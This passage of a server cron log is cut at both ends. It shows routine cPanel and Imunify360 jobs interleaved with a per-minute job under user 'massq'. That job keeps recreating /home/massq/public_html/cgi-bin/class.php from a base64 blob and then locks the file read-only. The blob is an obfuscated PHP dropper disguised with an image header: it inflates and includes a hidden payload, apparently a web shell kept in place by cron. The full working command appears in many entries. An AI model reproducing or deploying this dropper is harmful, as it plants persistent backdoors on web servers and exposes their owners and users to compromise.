OyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:21:01 server CROND[3248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:22:01 server CROND[3673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:22:01 server CROND[3674]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:22:01 server CROND[3675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:23:01 server CROND[4156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:23:01 server CROND[4157]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:23:01 server CROND[4158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:24:01 server CROND[4532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:24:01 server CROND[4533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:24:01 server CROND[4535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:25:01 server CROND[4940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:25:01 server CROND[4942]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:25:01 server CROND[4945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:25:01 server CROND[4943]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:25:01 server CROND[4944]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 00:25:01 server CROND[4948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:25:01 server CROND[4950]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 00:25:01 server CROND[4947]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 00:26:01 server CROND[5782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:26:01 server CROND[5781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:26:01 server CROND[5783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:27:01 server CROND[6160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:27:01 server CROND[6162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:27:01 server CROND[6161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:27:01 server CROND[6163]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 00:28:01 server CROND[6652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:28:01 server CROND[6653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:28:01 server CROND[6654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:29:01 server CROND[7082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:29:01 server CROND[7083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:29:01 server CROND[7081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:30:02 server CROND[7521]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 00:30:02 server CROND[7523]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 00:30:02 server CROND[7526]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:30:02 server CROND[7530]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  6 00:30:02 server CROND[7535]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:30:02 server CROND[7534]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:30:02 server CROND[7537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:30:02 server CROND[7539]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 00:30:02 server CROND[7540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:31:01 server CROND[8413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:31:01 server CROND[8414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:31:01 server CROND[8415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:32:01 server CROND[8787]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:32:01 server CROND[8788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:32:01 server CROND[8789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:33:01 server CROND[9171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:33:01 server CROND[9173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:33:01 server CROND[9172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB